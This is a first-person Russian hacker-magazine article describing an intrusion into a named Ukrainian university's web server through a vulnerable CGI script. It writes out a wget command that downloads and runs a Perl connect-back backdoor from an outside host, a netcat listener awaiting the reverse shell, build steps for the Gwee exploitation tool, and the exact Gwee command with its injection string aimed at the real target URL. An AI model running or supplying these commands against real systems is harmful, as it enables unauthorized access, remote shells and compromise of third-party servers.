Университетский хак Александр Любимов aka Sashiks Хакер, номер #079, стр. 079-050-2 22/tcp open ssh OpenSSH 3.6.1p2 (protocol 1.99) 80/tcp open http Apache httpd 1.3.33 ((ALT Linux/alt1) rus/PL30.20) Да, действительно, все пакеты, идущие на компьютер, кроме адресованных службам web, ftp и ssh, зарезались. Баннеры сервисов указывали на то, что софт своевременно и добросовестно обновляли. Ну, ничего, против лома нет приема (как оказалось потом, против моего лома прием все же нашелся :)). Можно попробовать старый добрый cbd.pl (сonn-back бэкдор на Perl аналогичен ему же на С, но более удобен, так как perl-интерпретатор присутствует практически на 90% машин). Отдав команду wget http://site.org/~sshx/x/cbd.pl -O /tmp/сbd.pl;perl /tmp/сbd.pl мой_ip 5000, я запустил у себя на машине неткат и ждал подключений: $ nc -vv -l -p5000 Но, к моему величайшему удивлению, ничего не произошло. Может, проблема с гадским бэкдором? Я решил залить его еще раз, только с флагом -o /tmp/res.txt, чтобы более подробно изучить процесс загрузки. Возможно, изъян заключался именно в процессе заливки файла. Я просмотрел отчет о download’e, и меня постигло разочарование: в последней строчке res.txt я увидел следующее: Connecting to site.org [62.121.133.131]:80... failed: Connection refused. Это был жестокий облом. Как выяснилось позже, я не мог скачивать из инета никаких файлов, и это заставило призадуматься о дальнейших действиях на вражеской стороне. Возможно, читая эту статью, ты подумал, что «вот опять стандартный взлом через веб, о которых в журнале уже сто раз писали. Неужели нет чего-то поинтересней?». Это не так :). Вот скажи мне, если такой умный. Что делать в этой ситуации, как быть? Есть веб-дырка, через которую с горем пополам можно выполнять команды. Никакой внешний файл загрузить напрямую невозможно. Ты знаешь, что делать дальше? Если знаешь, смело пролистывай страницу. А мы пока научимся кое-чему новому. [Гиви, подкинь палку!] Внезапно я вспомнил о Gwee. Да, именно о Gwee, а не о пиве :). Для донецких танкистов сообщаем: Gwee — это универсальная программа для эксплуатации уязвимых cgi-скриптов. Установка ее проста как две копейки: $ tar -xzf gwee-x.xx.tar.gz $ cd gwee-x.xx $ make unix (или просто make в зависимости от версии программы) $ make install Однако есть одно большое и мохнатое «но» при установке. Программа может не собраться вовсе, если на машине не установлен OpenSSL. Чтобы отключить его поддержку, нужно открыть Makefile и внести следующие изменения: CFLAGS=-Wall -Wshadow -O2 -DWITH_SSL (удаляем запись -DWITH_SSL) LDFLAGS=-s -lssl -lcrypto (а здесь убираем -lssl -lcrypto) Все, теперь сохраняем изменения и собираем программу. В принципе, проблем больше возникнуть не должно. Gwee теперь полностью готов к бою. Я запустил его с такими параметрами: ./gwee -y'?newsfor=fcita&page=|' -z '|' http://fkita.donntu.edu.ua/cgi-bin/index.pl -Lа -p4000 -v -G Чтобы понять, какие флаги что обозначают, советую обратиться к соответствующей врезке. Замечу также, что такой прием не прокатит на большинстве фриварных шелл-хостингов, так как они запрещают юзерам открывать вообще любые сетевые соединения. |